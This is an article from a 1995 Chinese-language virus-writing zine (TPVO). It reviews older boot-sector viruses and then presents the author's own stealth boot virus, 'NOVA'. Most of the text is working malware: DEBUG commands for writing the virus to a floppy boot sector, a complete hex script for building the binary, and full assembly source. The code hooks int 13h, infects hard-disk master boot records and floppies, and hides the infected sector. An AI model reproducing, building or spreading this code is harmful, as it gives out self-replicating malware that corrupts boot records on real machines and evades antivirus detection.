
               ☆ ＴＰＶＯ病毒雜誌  第００１期  TPVO-001.007 ☆

                          ◎一隻開機型病毒-NOVA◎
                           by Zhuge Jin of TPVO

  ==========================================================================

       嘻！這麼久了... 我怕大家忘了我的存在？因此我就寫了這麼一隻小開機型病
   毒囉！這隻毒我命名為[NOVA]？具有隱藏能力！能隱藏硬碟中毒磁區！當然啦...
   記憶體隱藏的部份也按照GCV3的方式！只是我攔 int 13h 是在 DOS 攔完之後才攔
   的！！當然你會認為這是爛毒一隻，不過你先不要妄下定論，你可以去試試其它的
   防毒程式在對付開機型病毒的功能，那你就可知道這個方法的好與壞囉... 因為我
   沒那個閒工夫去針對 "牠" 們！當然囉... 你會怕硬碟被幹掉是嗎？？不用緊張！
   這隻毒沒有破壞力，你可以好好的去實驗... 因為我的磁碟機又出差錯，所以有些
   部份我就用頭腦去模擬囉... 喝！


   今天我要跟大家討論的是『開機型病毒』!

   最近幾個月來... 看到某家公司『嚴重』以某隻病毒作為廣告的對象，並且以非常
   不正當的手段在媒体大肆喧染！雖然我無法再看下去，但我們所能做到的是: 就是
   以客觀的理論來揭發他們不實的惡行... ;_)

   目前我手中的流行的開機型病毒有 : (c) Brain 、Disk Killer 、Stoned 、
                                    Azusa 、Aircop 、Copy Lock 、Fish ...

   這些是我以前從學弟中的磁片所採樣的，既然我不是刻意去收集，能夠在我門下寄
   食，可見他們稱得上是流行病毒！當是這些流行病毒應該不會有人在中了吧!!！既
   然會流行，當然也有他的滅絕... 像這些毒有些會隱藏有些則會連硬碟都感染，為
   何會滅絕？請看以下的介紹...

   1) (c) Brain 大腦病毒

      Welcome to the Dungeon
      (c) 1986 Basit & Amjad (pvt) Ltd.
       BRAIN COMPUTER SERVICES
      730 Nizam Block Allama Igbal Towm
      Lahore, Pakistan
      Phone: 430791, 443248, 2800530
      Beware of this VIRUS
      Contact us for Vaccination

      這個訊息是最早的訊息，後來經過幾手後就變成各式各樣的版本了，現在台灣
      的版本已不是現在這個版本囉... 這隻病毒寫的很好玩，每當感染一片軟碟,
      該軟碟的 Label 就會被改成 (c) Brain ！但之所以現在不流行，是因為她只
      感染 360K 的磁片，以現在的電腦配備，要中大腦病毒簡直是作夢!!！這隻毒
      不但是病毒界的元老，同時也據有隱藏開機磁區的開機型病毒！令我佩服的是
      該作者實在太囂張了，能擺明說病毒是他們寫，簡直是要出風頭！嘻！:_)

   2) Disk Killer 磁碟殺手

      這隻病毒在台灣算是非常流行的一隻毒，不但能感染一般的軟碟，連硬碟也列
      入感染的範圍了！這隻毒之所以會滅絕是因為他是非常惡劣，時間條件符合就
      將磁碟中的資料給編碼囉... 並且還會在螢幕告訴你說他在發飆囉... 雖著時
      間一久，這隻毒漸漸被埋沒，原因是人人痛恨他！可是相對的現在世上流行的
      一些有破壞力的病毒，卻被媒介這樣愈炒愈熱！唉！現代人賺錢真是無奇不有
      啊！;_)

   3) Stoned 大麻病毒

      這隻毒只感染硬碟的 Partition 及軟碟的 BOOT ！在病毒主体有下列的訊息:

      Your PC is now Stoned! LEGALISE MARIJUANA!

      這隻毒也算是老毒，據說 1988 年底在紐西蘭發現的!

   4) Bloody

      這隻毒跟 Stoned 的原理很類似，在開機一定的次數後就會顯示如下的訊息:

      Bloody! Jun.4,1989

   5) Azusa

      這隻毒跟前面說的也有類似，只不過會干擾印表機的動作!

   6) Aircop & Copy Lock

      這兩隻毒只感染軟碟，前者會判斷軟碟的 type 來作感染，後者皆以 360k 作
      為感染的方式!

   7) Joshi

      這隻毒會感染 Partition 及軟碟的 BOOT ！而感染軟碟時則會先 format 額外
      的一軌來存放 BOOT ！此外此毒也具有隱藏能力!

   8) Fish

      這隻毒我想大家都很熟吧！除了隱藏能力外，並且不以減少主記體來常駐，跟
      前面的常駐方式完全不同... 雖然用 mem 無法感覺到有少 N K 的情形，當這
      個方式並不是合法的，因此容易造成當機!

   現在你該知道了吧... 一隻要活得久的開機型病毒，不但要能廣範的感染，同時也
   要能隱藏力強... (最好能夠多形???) 當然啦... 發作機率也要考慮??？前面的毒
   不是因為只能感染軟碟，不然就是沒有隱藏能力... 再者就是常常發作... 因此
   就不能活久了，更何況又面臨一些 AV 的圍殺，開機型病毒跟本就很難立足！以現
   的電腦配備來說，硬碟更是普遍！所以要中開機型病毒實在很難... ;~(

   Ok！唬了這麼多，我們還是來說個積極一點的東西吧！！

   Q: 中了開機型病毒要如何解？？
   A: 不用我講了... 我在網路看信的時後，有些人真的是厲害厲害... 不是說『請
      用乾淨的 DOS 磁片開機』，不然就是說用『低階格式化』？？
      前面那句話倒沒錯，但如果他身邊每張 DOS 片都中毒的話怎辦呢??？而低階
      格式化也沒那個必要，除非已確定硬碟已經毀了！而市面上有家公司號稱能救
      回被損的硬碟？能救回還沒關係，但如果救不回怎辦呢？那此時你再格式化就
      沒話說了，如果為了要殺病毒而將硬碟格式化那才是『大白痴』！而那個教人
      用格式化的人也該去死啦！所以說歸說，能夠用最方便解病毒才是重要的，而
      不是盡誤導一些初學者！比如硬碟與記憶体都有 Fish ，在有毒的環境之下，
      而且無『無毒』的開機片，你在怎用解毒程式殺也很難殺掉吧？？

   Q: CMOS ？？
   A: 有人說 CMOS 會中毒？？我想有這種想法可能是因為中開機型病毒而產生的誤
      解！！因為開機型病毒在 BOOT 的時後就會先將主記憶体先幹幾 K 下來做為藏
      身的區塊，所以會誤導一些不懂低階的使用者！更何況病毒沒那種雅興去感染
      CMOS？因為 CMOS 跟本就是放資料的東東啊嘛...

   Q: 隱藏能力？？
   A: 像 Fish 這類有隱藏能力的病毒，如果記憶体有病毒存在的話，那再用解毒程
      式也不一定能殺得掉！這時後你就必須想辦法用『無毒』的開機片開機後再去
      解！

   Q: DIR 一張有開機型病毒電腦會不會中毒？？
   A: 這種問題是『不可能』的！因為 DIR 只有讀取並沒有去執行！但如果你問:
      如果是執行檔案那該會吧？答案也是否定的！！但也決非不可！因為如果該檔
      一開頭就類似開機型病毒，那電腦不就中毒嗎？？喝！嗯！可是這個方法不就
      DS 的 Skid Row 差不多了嗎??？喝！喝！喝！但我所說的是只感染 BOOT ，
      那答案樣就是否定了！除非將兩種方法結合在一起？:_)

   好了！就說這些囉... 如果你要學會動手解『開機型病毒』的話，最好先學會基
   本的組合語言，會了組合語言要研究病毒或殺病毒就容易多了！更重要是不會被
   一些不肖商人給欺騙！嗯！喝！;_)



       如果你認為這隻毒沒有破壞力不好玩？因為我又沒有要放出去，因此我就不寫
   破壞囉！如果有 Bug 或有什問題，你可以去參考 Source code ！

   怎樣安裝這隻毒進去呢？懶的去寫置毒這種東東... 那你就照我所說的去做吧:

     1) 先放一片 format 過後 1.2M 的磁片於 A 碟...

     2) 將下面虛線內的東東存入 nova.scr ！然後執行下列命令產生 nova.bin ！

        C:\>debug < nova.scr >nul

     3) 照下面打就可以囉... ;_)

        C:\>debug
        -a100
        xxxx:xxxx mov ax,201
        xxxx:xxxx mov bx,200
        xxxx:xxxx mov cx,1
        xxxx:xxxx mov dx,0
        xxxx:xxxx int 13
        xxxx:xxxx mov ax,301
        xxxx:xxxx mov bx,200
        xxxx:xxxx mov cx,4f0f
        xxxx:xxxx mov dx,100
        xxxx:xxxx int 13
        xxxx:xxxx int 3
        xxxx:xxxx
        -g=100
        xxxxxxxxxxxxxxxxx
        -n nova.bin
        -f100 l200 00
        -l
        -w100 0 0 1
        -q
        C:\>_

     4) 用該磁片開機！！！

=======================[nova.scr]=====================
n nova.bin
e 0100 EB 0A 00 00 00 00 00 00 00 00 0F 4F BE 00 7C FA
e 0110 33 DB 8E DB 8E D3 8B E6 FB 53 56 B3 70 C6 47 4F
e 0120 FF FC 8B 47 DC 89 44 02 8B 47 DE 89 44 04 FF 8F
e 0130 A3 03 CD 12 C1 E0 06 8E C0 50 68 4C 00 C7 07 AA
e 0140 00 8C 47 02 B9 00 01 33 FF F3 A5 CB 33 C0 8E C0
e 0150 CD 13 0E 1F 33 F6 B8 01 02 BB 00 7C 8B 4C 0A 83
e 0160 F9 02 75 06 BA 80 00 CD 13 CB BA 00 01 CD 13 72
e 0170 17 0E 07 B8 01 02 BB 00 02 B9 01 00 BA 80 00 CD
e 0180 13 72 05 80 3F EB 75 01 CB 41 89 4C 0A B8 01 03
e 0190 BA 80 00 CD 13 72 F1 B1 21 BF BE 01 BE BE 03 F3
e 01A0 A5 B8 01 03 33 DB 41 CD 13 CB 9C 1E 53 33 DB 8E
e 01B0 DB 80 BF BF 00 FF 74 1E 50 B8 DA 00 87 47 4C 2E
e 01C0 89 47 06 8C C8 87 47 4E 2E 89 47 08 58 FE 06 13
e 01D0 04 81 47 70 2F 00 5B 1F 9D CF 9C 83 F9 01 74 11
e 01E0 0A D2 75 07 A8 01 75 03 E8 13 00 9D 2E FF 2E 06
e 01F0 00 3C 01 75 F6 81 FA 80 00 75 F0 41 EB ED 50 53
e 0200 51 52 57 56 1E 06 0E 1F 0E 07 33 FF BE 03 00 B8
e 0210 01 02 BB 00 02 B9 01 00 33 D2 9C FF 5D 02 73 0B
e 0220 33 C0 9C FF 5D 02 4E 75 E6 EB 2B 80 7F 0C BE 74
e 0230 25 80 7F 15 F9 75 1F B9 0F 4F 89 4D 0A B8 01 03
e 0240 B6 01 9C FF 5D 02 72 0E B8 01 03 33 DB B9 01 00
e 0250 33 D2 9C FF 5D 02 07 1F 5E 5F 5A 59 5B 58 C3
rcx
15F
w
q
=======================[nova.scr]=====================

 以下係原始程式...

;
; This is [NOVA] virus !
; Written by Zhuge Jin at TPVO , 1995 .
;

NOVA    SEGMENT
        ASSUME CS:NOVA,DS:NOVA,ES:NOVA

        .286

        org 0000h

start:
        jmp short vir_init

oint13_ip dw ?
oint13_cs dw ?

dos_int13_ip dw ?
dos_int13_cs dw ?

reg_cx dw 4f0fh

vir_init:
        mov si,7c00h

        cli
        xor bx,bx
        mov ds,bx
        mov ss,bx
        mov sp,si
        sti

        push bx
        push si

        mov bl,1ch*04h

        mov byte ptr ds:[bx-1ch*04h+2fh*04h+03h],0ffh

        cld

        mov ax,ds:[bx-1ch*04h+13h*04h]
        mov ds:[si+OFFSET oint13_ip],ax
        mov ax,ds:[bx-1ch*04h+13h*04h+02h]
        mov ds:[si+OFFSET oint13_cs],ax

        dec word ptr ds:[bx-1ch*04h+0413h]
        int 12h

        shl ax,06h
        mov es,ax

        push ax
        push OFFSET high_code

        mov word ptr ds:[bx],OFFSET vint1ch
        mov ds:[bx+02h],es

        mov cx,0100h
        xor di,di
        repz movsw

        retf

high_code:
        xor ax,ax
        mov es,ax
        int 13h

        push cs
        pop ds

        xor si,si

        mov ax,0201h
        mov bx,7c00h
        mov cx,ds:[si+OFFSET reg_cx]

        cmp cx,0002h
        jnz boot_fd

        mov dx,0080h
        int 13h
        retf

boot_fd:
        mov dx,0100h
        int 13h
        jb boot_dos

        push cs
        pop es

        mov ax,0201h
        mov bx,0200h
        mov cx,0001h
        mov dx,0080h
        int 13h
        jb boot_dos

        cmp byte ptr ds:[bx],0ebh
        jnz inf_hd

boot_dos:
        retf

inf_hd:
        inc cx
        mov ds:[si+OFFSET reg_cx],cx
        mov ax,0301h
        mov dx,0080h
        int 13h
        jb boot_dos

        mov cl,21h
        mov di,01beh
        mov si,03beh
        repz movsw

        mov ax,0301h
        xor bx,bx
        inc cx
        int 13h
        retf

vint1ch:
        pushf
        push ds
        push bx

        xor bx,bx
        mov ds,bx

        cmp byte ptr ds:[bx+2fh*04h+03h],0ffh
        jz v1c_nt_a

        push ax

        mov ax,OFFSET vint13h
        xchg ax,ds:[bx+13h*04h]
        mov cs:[bx+OFFSET dos_int13_ip],ax

        mov ax,cs
        xchg ax,ds:[bx+13h*04h+02h]
        mov cs:[bx+OFFSET dos_int13_cs],ax

        pop ax

        inc byte ptr ds:[0413h]

        add word ptr ds:[bx+1ch*04h],OFFSET vint1ch_ext-OFFSET vint1ch

v1c_nt_a:
        pop bx
        pop ds
        popf

vint1ch_ext:
        iret

vint13h:
        pushf

        cmp cx,0001h
        jz stealth

        or dl,dl
        jnz vint13h_ext

        test al,01h
        jnz vint13h_ext

        call inf_fd

vint13h_ext:
        popf

        jmp dword ptr cs:dos_int13_ip

stealth:
        cmp al,01h
        jnz vint13h_ext
        cmp dx,0080h
        jnz vint13h_ext
        inc cx
        jmp short vint13h_ext

inf_fd:
        push ax
        push bx
        push cx
        push dx
        push di
        push si
        push ds
        push es

        push cs
        pop ds
        push cs
        pop es

        xor di,di
        mov si,0003h
read_again:
        mov ax,0201h
        mov bx,0200h
        mov cx,0001h
        xor dx,dx
        pushf
        call dword ptr ds:[di+OFFSET oint13_ip]
        jnb read_succ

        xor ax,ax
        pushf
        call dword ptr ds:[di+OFFSET oint13_ip]

        dec si
        jnz read_again
        jmp short inf_ext

read_succ:
        cmp byte ptr ds:[bx+OFFSET vir_init],0beh
        jz inf_ext

        cmp byte ptr ds:[bx+15h],0f9h
        jnz inf_ext

        mov cx,4f0fh
        mov ds:[di+OFFSET reg_cx],cx
        mov ax,0301h
        mov dh,01h
        pushf
        call dword ptr ds:[di+OFFSET oint13_ip]
        jb inf_ext

        mov ax,0301h
        xor bx,bx
        mov cx,0001h
        xor dx,dx
        pushf
        call dword ptr ds:[di+OFFSET oint13_ip]

inf_ext:
        pop es
        pop ds
        pop si
        pop di
        pop dx
        pop cx
        pop bx
        pop ax
        ret

NOVA    ENDS
        END start

